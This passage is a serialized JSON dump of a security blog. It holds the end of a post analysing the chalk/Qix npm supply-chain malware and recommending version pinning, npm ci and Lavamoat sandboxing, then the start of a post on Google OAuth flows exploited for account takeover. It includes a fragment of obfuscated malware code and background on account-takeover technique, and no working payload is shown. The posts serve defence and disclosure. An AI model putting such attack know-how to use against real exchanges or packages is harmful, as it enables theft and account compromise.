:179},[98420],{"type":28,"value":232},{"type":23,"tag":134,"props":98422,"children":98423},{"style":162},[98424],{"type":28,"value":98425},"_0x4b99fd",{"type":23,"tag":134,"props":98427,"children":98428},{"style":179},[98429],{"type":28,"value":97955},{"type":23,"tag":134,"props":98431,"children":98432},{"class":136,"line":1032},[98433],{"type":23,"tag":134,"props":98434,"children":98435},{"style":179},[98436],{"type":28,"value":5328},{"type":23,"tag":134,"props":98438,"children":98439},{"class":136,"line":1092},[98440],{"type":23,"tag":134,"props":98441,"children":98442},{"style":179},[98443],{"type":28,"value":1098},{"type":23,"tag":9072,"props":98445,"children":98447},{"id":98446},"impact-of-the-attack",[98448],{"type":28,"value":98449},"Impact of the Attack",{"type":23,"tag":24,"props":98451,"children":98452},{},[98453],{"type":28,"value":98454},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":61,"props":98456,"children":98458},{"id":98457},"why-it-will-happen-again",[98459],{"type":28,"value":98460},"Why It Will Happen Again",{"type":23,"tag":24,"props":98462,"children":98463},{},[98464],{"type":28,"value":98465},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":98467,"children":98468},{},[98469],{"type":28,"value":98470},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":61,"props":98472,"children":98474},{"id":98473},"what-developers-can-do",[98475],{"type":28,"value":98476},"What Developers Can Do",{"type":23,"tag":24,"props":98478,"children":98479},{},[98480],{"type":28,"value":98481},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":9072,"props":98483,"children":98485},{"id":98484},"_1-version-pinning-in-packagejson",[98486,98488],{"type":28,"value":98487},"1. Version pinning in ",{"type":23,"tag":92,"props":98489,"children":98491},{"className":98490},[],[98492],{"type":28,"value":98493},"package.json",{"type":23,"tag":24,"props":98495,"children":98496},{},[98497],{"type":28,"value":98498},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":98500,"children":98501},{},[98502,98504,98510,98512,98517,98519,98524],{"type":28,"value":98503},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":92,"props":98505,"children":98507},{"className":98506},[],[98508],{"type":28,"value":98509},"npm install",{"type":28,"value":98511},". To pin it, just make sure to remove the caret ",{"type":23,"tag":92,"props":98513,"children":98515},{"className":98514},[],[98516],{"type":28,"value":48439},{"type":28,"value":98518}," symbol before the version in ",{"type":23,"tag":92,"props":98520,"children":98522},{"className":98521},[],[98523],{"type":28,"value":98493},{"type":28,"value":1697},{"type":23,"tag":87,"props":98526,"children":98528},{"code":98527,"language":33494,"meta":7,"className":33492,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[98529],{"type":23,"tag":92,"props":98530,"children":98531},{"__ignoreMap":7},[98532,98553,98574,98595],{"type":23,"tag":134,"props":98533,"children":98534},{"class":136,"line":137},[98535,98540,98544,98549],{"type":23,"tag":134,"props":98536,"children":98537},{"style":1461},[98538],{"type":28,"value":98539},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":134,"props":98541,"children":98542},{"style":179},[98543],{"type":28,"value":14800},{"type":23,"tag":134,"props":98545,"children":98546},{"style":1461},[98547],{"type":28,"value":98548},"\"1.23.1\"",{"type":23,"tag":134,"props":98550,"children":98551},{"style":179},[98552],{"type":28,"value":687},{"type":23,"tag":134,"props":98554,"children":98555},{"class":136,"line":147},[98556,98561,98565,98570],{"type":23,"tag":134,"props":98557,"children":98558},{"style":1461},[98559],{"type":28,"value":98560},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":134,"props":98562,"children":98563},{"style":179},[98564],{"type":28,"value":14800},{"type":23,"tag":134,"props":98566,"children":98567},{"style":1461},[98568],{"type":28,"value":98569},"\"8.3.0\"",{"type":23,"tag":134,"props":98571,"children":98572},{"style":179},[98573],{"type":28,"value":687},{"type":23,"tag":134,"props":98575,"children":98576},{"class":136,"line":185},[98577,98582,98586,98591],{"type":23,"tag":134,"props":98578,"children":98579},{"style":1461},[98580],{"type":28,"value":98581},"\"@react-native-community/netinfo\"",{"type":23,"tag":134,"props":98583,"children":98584},{"style":179},[98585],{"type":28,"value":14800},{"type":23,"tag":134,"props":98587,"children":98588},{"style":1461},[98589],{"type":28,"value":98590},"\"11.4.1\"",{"type":23,"tag":134,"props":98592,"children":98593},{"style":179},[98594],{"type":28,"value":687},{"type":23,"tag":134,"props":98596,"children":98597},{"class":136,"line":221},[98598,98603,98607],{"type":23,"tag":134,"props":98599,"children":98600},{"style":1461},[98601],{"type":28,"value":98602},"\"@react-native-picker/picker\"",{"type":23,"tag":134,"props":98604,"children":98605},{"style":179},[98606],{"type":28,"value":14800},{"type":23,"tag":134,"props":98608,"children":98609},{"style":1461},[98610],{"type":28,"value":98611},"\"2.11.0\"\n",{"type":23,"tag":9072,"props":98613,"children":98615},{"id":98614},"_2-use-npm-ci",[98616,98618],{"type":28,"value":98617},"2. Use ",{"type":23,"tag":92,"props":98619,"children":98621},{"className":98620},[],[98622],{"type":28,"value":98623},"npm ci",{"type":23,"tag":24,"props":98625,"children":98626},{},[98627,98632,98634,98640,98642,98647],{"type":23,"tag":92,"props":98628,"children":98630},{"className":98629},[],[98631],{"type":28,"value":98623},{"type":28,"value":98633}," uses the dependency versions from ",{"type":23,"tag":92,"props":98635,"children":98637},{"className":98636},[],[98638],{"type":28,"value":98639},"package-lock.json",{"type":28,"value":98641}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":92,"props":98643,"children":98645},{"className":98644},[],[98646],{"type":28,"value":98509},{"type":28,"value":98648}," when adding a new package or updating an existing one.",{"type":23,"tag":9072,"props":98650,"children":98652},{"id":98651},"_3-implement-lavamoat",[98653,98655],{"type":28,"value":98654},"3. Implement ",{"type":23,"tag":31,"props":98656,"children":98659},{"href":98657,"rel":98658},"https://github.com/LavaMoat/LavaMoat/tree/main",[35],[98660],{"type":23,"tag":2532,"props":98661,"children":98662},{},[98663],{"type":28,"value":98664},"Lavamoat",{"type":23,"tag":24,"props":98666,"children":98667},{},[98668],{"type":28,"value":98669},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":98671,"children":98672},{},[98673],{"type":28,"value":98674},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":87,"props":98676,"children":98678},{"code":98677,"language":33494,"meta":7,"className":33492,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[98679],{"type":23,"tag":92,"props":98680,"children":98681},{"__ignoreMap":7},[98682,98694,98706,98717,98733,98740,98747,98759,98770,98790,98806,98813,98824,98844,98860,98867,98874],{"type":23,"tag":134,"props":98683,"children":98684},{"class":136,"line":137},[98685,98690],{"type":23,"tag":134,"props":98686,"children":98687},{"style":1461},[98688],{"type":28,"value":98689},"\"resources\"",{"type":23,"tag":134,"props":98691,"children":98692},{"style":179},[98693],{"type":28,"value":36520},{"type":23,"tag":134,"props":98695,"children":98696},{"class":136,"line":147},[98697,98702],{"type":23,"tag":134,"props":98698,"children":98699},{"style":162},[98700],{"type":28,"value":98701},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":134,"props":98703,"children":98704},{"style":179},[98705],{"type":28,"value":36520},{"type":23,"tag":134,"props":98707,"children":98708},{"class":136,"line":185},[98709,98713],{"type":23,"tag":134,"props":98710,"children":98711},{"style":162},[98712],{"type":28,"value":36528},{"type":23,"tag":134,"props":98714,"children":98715},{"style":179},[98716],{"type":28,"value":36520},{"type":23,"tag":134,"props":98718,"children":98719},{"class":136,"line":221},[98720,98725,98729],{"type":23,"tag":134,"props":98721,"children":98722},{"style":162},[98723],{"type":28,"value":98724},"        \"TextEncoder\"",{"type":23,"tag":134,"props":98726,"children":98727},{"style":179},[98728],{"type":28,"value":14800},{"type":23,"tag":134,"props":98730,"children":98731},{"style":151},[98732],{"type":28,"value":36689},{"type":23,"tag":134,"props":98734,"children":98735},{"class":136,"line":332},[98736],{"type":23,"tag":134,"props":98737,"children":98738},{"style":179},[98739],{"type":28,"value":12131},{"type":23,"tag":134,"props":98741,"children":98742},{"class":136,"line":438},[98743],{"type":23,"tag":134,"props":98744,"children":98745},{"style":179},[98746],{"type":28,"value":24872},{"type":23,"tag":134,"props":98748,"children":98749},{"class":136,"line":466},[98750,98755],{"type":23,"tag":134,"props":98751,"children":98752},{"style":162},[98753],{"type":28,"value":98754},"    \"@ethereumjs/util\"",{"type":23,"tag":134,"props":98756,"children":98757},{"style":179},[98758],{"type":28,"value":36520},{"type":23,"tag":134,"props":98760,"children":98761},{"class":136,"line":479},[98762,98766],{"type":23,"tag":134,"props":98763,"children":98764},{"style":162},[98765],{"type":28,"value":36528},{"type":23,"tag":134,"props":98767,"children":98768},{"style":179},[98769],{"type":28,"value":36520},{"type":23,"tag":134,"props":98771,"children":98772},{"class":136,"line":497},[98773,98778,98782,98786],{"type":23,"tag":134,"props":98774,"children":98775},{"style":162},[98776],{"type":28,"value":98777},"        \"console.warn\"",{"type":23,"tag":134,"props":98779,"children":98780},{"style":179},[98781],{"type":28,"value":14800},{"type":23,"tag":134,"props":98783,"children":98784},{"style":151},[98785],{"type":28,"value":1195},{"type":23,"tag":134,"props":98787,"children":98788},{"style":179},[98789],{"type":28,"value":687},{"type":23,"tag":134,"props":98791,"children":98792},{"class":136,"line":518},[98793,98798,98802],{"type":23,"tag":134,"props":98794,"children":98795},{"style":162},[98796],{"type":28,"value":98797},"        \"fetch\"",{"type":23,"tag":134,"props":98799,"children":98800},{"style":179},[98801],{"type":28,"value":14800},{"type":23,"tag":134,"props":98803,"children":98804},{"style":151},[98805],{"type":28,"value":36689},{"type":23,"tag":134,"props":98807,"children":98808},{"class":136,"line":527},[98809],{"type":23,"tag":134,"props":98810,"children":98811},{"style":179},[98812],{"type":28,"value":36697},{"type":23,"tag":134,"props":98814,"children":98815},{"class":136,"line":780},[98816,98820],{"type":23,"tag":134,"props":98817,"children":98818},{"style":162},[98819],{"type":28,"value":36705},{"type":23,"tag":134,"props":98821,"children":98822},{"style":179},[98823],{"type":28,"value":36520},{"type":23,"tag":134,"props":98825,"children":98826},{"class":136,"line":797},[98827,98832,98836,98840],{"type":23,"tag":134,"props":98828,"children":98829},{"style":162},[98830],{"type":28,"value":98831},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":134,"props":98833,"children":98834},{"style":179},[98835],{"type":28,"value":14800},{"type":23,"tag":134,"props":98837,"children":98838},{"style":151},[98839],{"type":28,"value":1195},{"type":23,"tag":134,"props":98841,"children":98842},{"style":179},[98843],{"type":28,"value":687},{"type":23,"tag":134,"props":98845,"children":98846},{"class":136,"line":814},[98847,98852,98856],{"type":23,"tag":134,"props":98848,"children":98849},{"style":162},[98850],{"type":28,"value":98851},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":134,"props":98853,"children":98854},{"style":179},[98855],{"type":28,"value":14800},{"type":23,"tag":134,"props":98857,"children":98858},{"style":151},[98859],{"type":28,"value":36689},{"type":23,"tag":134,"props":98861,"children":98862},{"class":136,"line":827},[98863],{"type":23,"tag":134,"props":98864,"children":98865},{"style":179},[98866],{"type":28,"value":12131},{"type":23,"tag":134,"props":98868,"children":98869},{"class":136,"line":836},[98870],{"type":23,"tag":134,"props":98871,"children":98872},{"style":179},[98873],{"type":28,"value":533},{"type":23,"tag":134,"props":98875,"children":98876},{"class":136,"line":859},[98877],{"type":23,"tag":134,"props":98878,"children":98879},{"style":179},[98880],{"type":28,"value":1098},{"type":23,"tag":24,"props":98882,"children":98883},{},[98884,98886,98892,98894,98900,98901,98906,98908,98914,98915,98921],{"type":28,"value":98885},"In this example, it restricts the ",{"type":23,"tag":92,"props":98887,"children":98889},{"className":98888},[],[98890],{"type":28,"value":98891},"@ethereumjs/util",{"type":28,"value":98893}," package to use only ",{"type":23,"tag":92,"props":98895,"children":98897},{"className":98896},[],[98898],{"type":28,"value":98899},"console.warn",{"type":28,"value":10458},{"type":23,"tag":92,"props":98902,"children":98904},{"className":98903},[],[98905],{"type":28,"value":33591},{"type":28,"value":98907}," functions, and to include only ",{"type":23,"tag":92,"props":98909,"children":98911},{"className":98910},[],[98912],{"type":28,"value":98913},"@ethereumjs/rlp",{"type":28,"value":10458},{"type":23,"tag":92,"props":98916,"children":98918},{"className":98917},[],[98919],{"type":28,"value":98920},"ethereum-cryptography",{"type":28,"value":98922}," packages.",{"type":23,"tag":24,"props":98924,"children":98925},{},[98926],{"type":28,"value":98927},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":98929,"children":98930},{},[98931,98933,98939],{"type":28,"value":98932},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":31,"props":98934,"children":98937},{"href":98935,"rel":98936},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[35],[98938],{"type":28,"value":36875},{"type":28,"value":720},{"type":23,"tag":9072,"props":98941,"children":98943},{"id":98942},"lavamoat-vs-qix-malware",[98944],{"type":28,"value":98945},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":98947,"children":98948},{},[98949,98951,98956],{"type":28,"value":98950},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":92,"props":98952,"children":98954},{"className":98953},[],[98955],{"type":28,"value":96796},{"type":28,"value":98957},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":4890,"props":98959,"children":98960},{},[98961,98973,98984,98995],{"type":23,"tag":4894,"props":98962,"children":98963},{},[98964,98966,98971],{"type":28,"value":98965},"Replace ",{"type":23,"tag":92,"props":98967,"children":98969},{"className":98968},[],[98970],{"type":28,"value":33591},{"type":28,"value":98972}," function to a custom one",{"type":23,"tag":4894,"props":98974,"children":98975},{},[98976,98978],{"type":28,"value":98977},"Access ",{"type":23,"tag":92,"props":98979,"children":98981},{"className":98980},[],[98982],{"type":28,"value":98983},"window.ethereum",{"type":23,"tag":4894,"props":98985,"children":98986},{},[98987,98989,98994],{"type":28,"value":98988},"Call original ",{"type":23,"tag":92,"props":98990,"children":98992},{"className":98991},[],[98993],{"type":28,"value":33591},{"type":28,"value":37712},{"type":23,"tag":4894,"props":98996,"children":98997},{},[98998],{"type":28,"value":98999},"Plus other actions not relevant here",{"type":23,"tag":24,"props":99001,"children":99002},{},[99003,99005,99011],{"type":28,"value":99004},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":92,"props":99006,"children":99008},{"className":99007},[],[99009],{"type":28,"value":99010},"chalk 5.6.0",{"type":28,"value":99012}," (non-malicious version) it would look like this:",{"type":23,"tag":87,"props":99014,"children":99016},{"code":99015,"language":33494,"meta":7,"className":33492,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[99017],{"type":23,"tag":92,"props":99018,"children":99019},{"__ignoreMap":7},[99020,99032,99043,99063,99079,99086],{"type":23,"tag":134,"props":99021,"children":99022},{"class":136,"line":137},[99023,99028],{"type":23,"tag":134,"props":99024,"children":99025},{"style":1461},[99026],{"type":28,"value":99027},"\"chalk\"",{"type":23,"tag":134,"props":99029,"children":99030},{"style":179},[99031],{"type":28,"value":36520},{"type":23,"tag":134,"props":99033,"children":99034},{"class":136,"line":147},[99035,99039],{"type":23,"tag":134,"props":99036,"children":99037},{"style":162},[99038],{"type":28,"value":36528},{"type":23,"tag":134,"props":99040,"children":99041},{"style":179},[99042],{"type":28,"value":36520},{"type":23,"tag":134,"props":99044,"children":99045},{"class":136,"line":185},[99046,99051,99055,99059],{"type":23,"tag":134,"props":99047,"children":99048},{"style":162},[99049],{"type":28,"value":99050},"        \"navigator.userAgent\"",{"type":23,"tag":134,"props":99052,"children":99053},{"style":179},[99054],{"type":28,"value":14800},{"type":23,"tag":134,"props":99056,"children":99057},{"style":151},[99058],{"type":28,"value":1195},{"type":23,"tag":134,"props":99060,"children":99061},{"style":179},[99062],{"type":28,"value":687},{"type":23,"tag":134,"props":99064,"children":99065},{"class":136,"line":221},[99066,99071,99075],{"type":23,"tag":134,"props":99067,"children":99068},{"style":162},[99069],{"type":28,"value":99070},"        \"navigator.userAgentData\"",{"type":23,"tag":134,"props":99072,"children":99073},{"style":179},[99074],{"type":28,"value":14800},{"type":23,"tag":134,"props":99076,"children":99077},{"style":151},[99078],{"type":28,"value":36689},{"type":23,"tag":134,"props":99080,"children":99081},{"class":136,"line":332},[99082],{"type":23,"tag":134,"props":99083,"children":99084},{"style":179},[99085],{"type":28,"value":12131},{"type":23,"tag":134,"props":99087,"children":99088},{"class":136,"line":438},[99089],{"type":23,"tag":134,"props":99090,"children":99091},{"style":179},[99092],{"type":28,"value":24872},{"type":23,"tag":24,"props":99094,"children":99095},{},[99096,99098,99104],{"type":28,"value":99097},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":92,"props":99099,"children":99101},{"className":99100},[],[99102],{"type":28,"value":99103},"navigator",{"type":28,"value":720},{"type":23,"tag":24,"props":99106,"children":99107},{},[99108,99110,99116],{"type":28,"value":99109},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":92,"props":99111,"children":99113},{"className":99112},[],[99114],{"type":28,"value":99115},"chalk v5.6.1",{"type":28,"value":99117}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":99119,"children":99120},{},[99121],{"type":23,"tag":1116,"props":99122,"children":99124},{"alt":50084,"src":99123},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":99126,"children":99127},{},[99128,99130,99135],{"type":28,"value":99129},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":92,"props":99131,"children":99133},{"className":99132},[],[99134],{"type":28,"value":33591},{"type":28,"value":24959},{"type":23,"tag":87,"props":99137,"children":99139},{"code":99138},"TypeError#1: Cannot define property fetch, object is not extensible\n",[99140],{"type":23,"tag":92,"props":99141,"children":99142},{"__ignoreMap":7},[99143],{"type":28,"value":99138},{"type":23,"tag":61,"props":99145,"children":99147},{"id":99146},"lavamoat-in-practice",[99148],{"type":28,"value":99149},"Lavamoat In Practice",{"type":23,"tag":24,"props":99151,"children":99152},{},[99153,99155,99162],{"type":28,"value":99154},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":31,"props":99156,"children":99159},{"href":99157,"rel":99158},"https://osec.io/reports/lavamoat_audit_final.pdf",[35],[99160],{"type":28,"value":99161},"see the audit report",{"type":28,"value":20220},{"type":23,"tag":24,"props":99164,"children":99165},{},[99166],{"type":28,"value":99167},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":61,"props":99169,"children":99170},{"id":75309},[99171],{"type":28,"value":75312},{"type":23,"tag":24,"props":99173,"children":99174},{},[99175],{"type":28,"value":99176},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":99178,"children":99179},{},[99180,99182,99187],{"type":28,"value":99181},"Version pinning and ",{"type":23,"tag":92,"props":99183,"children":99185},{"className":99184},[],[99186],{"type":28,"value":98623},{"type":28,"value":99188}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":2575,"props":99190,"children":99191},{},[99192],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":99194},[99195,99198,99199,99208,99209],{"id":96811,"depth":147,"text":96814,"children":99196},[99197],{"id":98446,"depth":185,"text":98449},{"id":98457,"depth":147,"text":98460},{"id":98473,"depth":147,"text":98476,"children":99200},[99201,99203,99205,99207],{"id":98484,"depth":185,"text":99202},"1. Version pinning in package.json",{"id":98614,"depth":185,"text":99204},"2. Use npm ci",{"id":98651,"depth":185,"text":99206},"3. Implement Lavamoat",{"id":98942,"depth":185,"text":98945},{"id":99146,"depth":147,"text":99149},{"id":75309,"depth":147,"text":75312},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":99214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99215,"description":99216,"date":99217,"author":99218,"image":99219,"isFeatured":15,"onBlogPage":15,"tags":99221,"body":99224,"_type":2586,"_id":101555,"_source":2588,"_file":101556,"_stem":101557,"_extension":2591},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[30696,30695],{"src":99220,"width":96780,"height":13091},"/posts/oauth-misconfigurations/title.png",[99222,99223],"oAuth","exchanges",{"type":20,"children":99225,"toc":101542},[99226,99232,99237,99243,99263,99269,99274,99287,99292,99300,99314,99323,99332,99346,99354,99365,99425,99431,99443,99492,99498,99503,99516,99523,99534,99554,99573,99594,99600,99613,99618,99624,99643,100268,100273,100286,101147,101152,101157,101163,101168,101174,101179,101192,101232,101238,101251,101256,101289,101294,101299,101324,101329,101341,101498,101503,101507,101519,101524,101528,101533,101538],{"type":23,"tag":61,"props":99227,"children":99229},{"id":99228},"exploiting-oauth",[99230],{"type":28,"value":99231},"Exploiting OAuth",{"type":23,"tag":24,"props":99233,"children":99234},{},[99235],{"type":28,"value":99236},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":9072,"props":99238,"children":99240},{"id":99239},"google-authentication-flows",[99241],{"type":28,"value":99242},"Google Authentication Flows",{"type":23,"tag":24,"props":99244,"children":99245},{},[99246,99248,99254,99256,99261],{"type":28,"value":99247},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":92,"props":99249,"children":99251},{"className":99250},[],[99252],{"type":28,"value":99253},"postMessage",{"type":28,"value":99255}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":92,"props":99257,"children":99259},{"className":99258},[],[99260],{"type":28,"value":69275},{"type":28,"value":99262}," to send the token back to the RP.",{"type":23,"tag":18368,"props":99264,"children":99266},{"id":99265},"gsi-new-flow",[99267],{"type":28,"value":99268},"GSI (New Flow)",{"type":23,"tag":24,"props":99270,"children":99271},{},[99272],{"type":28,"value":99273},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":16158,"props":99275,"children":99276},{},[99277,99282],{"type":23,"tag":4894,"props":99278,"children":99279},{},[99280],{"type":28,"value":99281},"Using FedCM API",{"type":23,"tag":4894,"props":99283,"children":99284},{},[99285],{"type":28,"value":99286},"Without using FedCM API",{"type":23,"tag":24,"props":99288,"children":99289},{},[99290],{"type":28,"value":99291},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":99293,"children":99294},{},[99295],{"type":23,"tag":2532,"props":99296,"children":99297},{},[99298],{"type":28,"value":99299},"FedCM Method",{"type":23,"tag":24,"props":99301,"children":99302},{},[99303,99305,99312],{"type":28,"value":99304},"The FedCM method basically follows this ",{"type":23,"tag":31,"props":99306,"children":99309},{"href":99307,"rel":99308},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[35],[99310],{"type":28,"value":99311},"user experience",{"type":28,"value":99313},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":99315,"children":99316},{},[99317,99319],{"type":28,"value":99318},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":1116,"props":99320,"children":99322},{"alt":50084,"src":99321},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":99324,"children":99325},{},[99326,99328],{"type":28,"value":99327},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":1116,"props":99329,"children":99331},{"alt":50084,"src":99330},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":99333,"children":99334},{},[99335,99337,99344],{"type":28,"value":99336},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":31,"props":99338,"children":99341},{"href":99339,"rel":99340},"https://github.com/w3c-fedid/FedCM/issues/429",[35],[99342],{"type":28,"value":99343},"FedCM auto-reauthentication",{"type":28,"value":99345},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":99347,"children":99348},{},[99349],{"type":23,"tag":2532,"props":99350,"children":99351},{},[99352],{"type":28,"value":99353},"Non-FedCM Method",{"type":23,"tag":24,"props":99355,"children":99356},{},[99357,99359,99364],{"type":28,"value":99358},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":92,"props":99360,"children":99362},{"className":99361},[],[99363],{"type":28,"value":99253},{"type":28,"value":1697},{"type":23,"tag":4890,"props":99366,"children":99367},{},[99368,99373,99397,99402,99413],{"type":23,"tag":4894,"props":99369,"children":99370},{},[99371],{"type":28,"value":99372},"The user clicks the sign in button",{"type":23,"tag":4894,"props":99374,"children":99375},{},[99376,99378,99384,99386,99391,99392],{"type":28,"value":99377},"RP opens a popup/iframe to ",{"type":23,"tag":31,"props":99379,"children":99382},{"href":99380,"rel":99381},"https://accounts.google.com/o/oauth2/v2/auth",[35],[99383],{"type":28,"value":99380},{"type":28,"value":99385}," with some important parameters like ",{"type":23,"tag":92,"props":99387,"children":99389},{"className":99388},[],[99390],{"type":28,"value":69107},{"type":28,"value":10458},{"type":23,"tag":92,"props":99393,"children":99395},{"className":99394},[],[99396],{"type":28,"value":39634},{"type":23,"tag":4894,"props":99398,"children":99399},{},[99400],{"type":28,"value":99401},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":4894,"props":99403,"children":99404},{},[99405,99407],{"type":28,"value":99406},"They get redirected to ",{"type":23,"tag":31,"props":99408,"children":99411},{"href":99409,"rel":99410},"https://accounts.google.com/gsi/transform",[35],[99412],{"type":28,"value":99409},{"type":23,"tag":4894,"props":99414,"children":99415},{},[99416,99418,99423],{"type":28,"value":99417},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":92,"props":99419,"children":99421},{"className":99420},[],[99422],{"type":28,"value":99253},{"type":28,"value":99424}," (after some SYN/ACK messages)",{"type":23,"tag":18368,"props":99426,"children":99428},{"id":99427},"oauth-20-old-flow",[99429],{"type":28,"value":99430},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":99432,"children":99433},{},[99434,99436,99441],{"type":28,"value":99435},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":92,"props":99437,"children":99439},{"className":99438},[],[99440],{"type":28,"value":69275},{"type":28,"value":99442}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":4890,"props":99444,"children":99445},{},[99446,99450,99471,99475],{"type":23,"tag":4894,"props":99447,"children":99448},{},[99449],{"type":28,"value":99372},{"type":23,"tag":4894,"props":99451,"children":99452},{},[99453,99454,99459,99460,99465,99466],{"type":28,"value":99377},{"type":23,"tag":31,"props":99455,"children":99457},{"href":99380,"rel":99456},[35],[99458],{"type":28,"value":99380},{"type":28,"value":99385},{"type":23,"tag":92,"props":99461,"children":99463},{"className":99462},[],[99464],{"type":28,"value":69107},{"type":28,"value":10458},{"type":23,"tag":92,"props":99467,"children":99469},{"className":99468},[],[99470],{"type":28,"value":69275},{"type":23,"tag":4894,"props":99472,"children":99473},{},[99474],{"type":28,"value":99401},{"type":23,"tag":4894,"props":99476,"children":99477},{},[99478,99479,99484,99486],{"type":28,"value":99406},{"type":23,"tag":92,"props":99480,"children":99482},{"className":99481},[],[99483],{"type":28,"value":69275},{"type":28,"value":99485}," with the token in the query parameters or 